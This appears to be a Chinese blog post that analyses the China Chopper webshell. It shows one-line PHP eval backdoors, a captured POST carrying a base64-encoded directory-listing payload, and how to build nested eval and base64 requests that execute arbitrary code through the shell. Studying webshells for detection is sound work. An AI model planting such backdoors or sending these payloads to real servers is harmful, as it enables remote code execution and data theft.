• php菜刀分析学习


    这里以eval为例

    我们知道, php中的eval能把字符串当代码执行:

    eval('phpcode');

     

    注意, 这里的代码要有分号结尾, 我们测试:

    我们创建一个最简单的SHELL:

    <?php
    eval($_POST['a']);

    在post数据位置发送:

    a=phpinfo()

     

     

    可以看到phpinfo()并没有执行。

    原来原因是要加 ; 号结速一个语句, 像php语法一样, 语句后面要加 ; 号。

     

    这里还有一个问题就是, 输入的  a=phpinfo();  不需要用单或双引号括起来:

     

     

     

     

    再回到eval, 我们加多层eval看看:

     

    <?php
    eval(eval(eval($_POST[a])));

    看到效果是一样的:

     

     

     

     

     

     

    我们创建一个简单WEBSHELL, 打开抓包工具抓菜刀包, 抓到的发送包是这样的:

    POST /2.php HTTP/1.1
    Cache-Control: no-cache
    X-Forwarded-For: 226.60.187.9
    Referer: http://localhost
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
    Host: localhost
    Content-Length: 738
    Connection: Close
    
    a=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=RDpcXHBocFN0dWR5XFxXV1dcXA%3D%3D

     

     

    单纯地看上面的POST包, 在没有base64解密前提下, 可以明显的看到 菜刀会另外创造一个post数据(上图中的是z0)发送回来给a。

    我们可以得知, 菜刀发送的包, 有点像这样:

    <?php
    eval($_POST[a]);
    #post:
    #$_POST[a] = 另一个post数据
    #$_POST[a] = $_POST[b]
    #传入的$_POST[a]=$_POST[b]=b的内容

     

     

    也就是说, 我们发送包时, 可以这样构造一下:

    a=$_POST[b]&b=phpinfo

    这样就相当于是:

    a=phpinfo

    记得我们上面说过, 要加 ; 号, 不用加单双引号:

    a=$_POST[b];&b=phpinfo()
    

     这一个数据, 就相当于:

    a=phpinfo();
    #$_POST[b]替换成了: phpinfo()

     

     

    我们测试一下效果:

     

     

    可以看到, 并没有执行 phpinfo() 函数。

    为什么呢?

    用一个小例子来说明为什么:

    echo 'post[a]:'.$_POST[a]."<br />";
    echo 'post[b]:'.$_POST[b];

    发送数据后如下所示:

     

     

    可以看到, a 的值是 $_POST[b]; ,   但是这个 $_POST[b];  只是一个单纯字符串而已, 而这个字符串并未被当成php代码解释。

    相当于我们创建了一个这样的代码:

     

    <?php
    '$_POST[b]';
    

     

     

    这样的参数肯定会出错, 也相当于你创建了一个这样的代码:

    eval('abcdefg');

    eval要求是php代码形式的字符串, 所以, 下面这样就是合法的:

    eval('echo "abcdefg";');

    最后我们可以构造这样的代码:

    eval('eval("$_POST[b]");')

     

     

    这样phpinfo函数就能正常运行了。

     

     

     

     

    把eval加进代码里:

     

     

    有一点要注意的就是 $_POST[b]中的PHP代码参数要加 ; 号, 因为 $_POST[a] 里的eval要用到, 而 $_POST[a]里的php代码也要加 ; 号, 因为源码里的eval也要用到。

     

    在 $_POST[a]的位置我们也可以用base64编码数据, 这样 $_POST[b]的数据就可以很好的正常发送了:

     

     

    总之, a中的post数据中的eval目的是把他的值 $_POST[b] 解释。

     

    我们其实可以在发送数据位置单单用一个a=post数据就行了。

    <?php
    eval($_post[a]);
    

     在接收后我们可以用自已相要的方式加解密(如果你数据有加密的话):

    <?php
    eval(base64_decode($_POST[a]));
    #post
    #a=cGhwaW5mbygpOw==

    那个java的C刀就是这样的做法。

     

  • 相关阅读:
    Go语言基础之字符串遍历
    Go语言基础之range
    Go语言的for循环
    Go语言基础之反射
    Go语言基础之接口
    Linux编程简介
    如何使用gcc编译器
    ADS的使用
    bvp4c--语法
    어느 도시 보유 하 면 사랑 이다(事態が発生すれば、ある都市の恋はしません)【Si les villes un amour】{If have love in a city}
  • 原文地址:https://www.cnblogs.com/perl6/p/7124223.html
Copyright © 2020-2023  润新知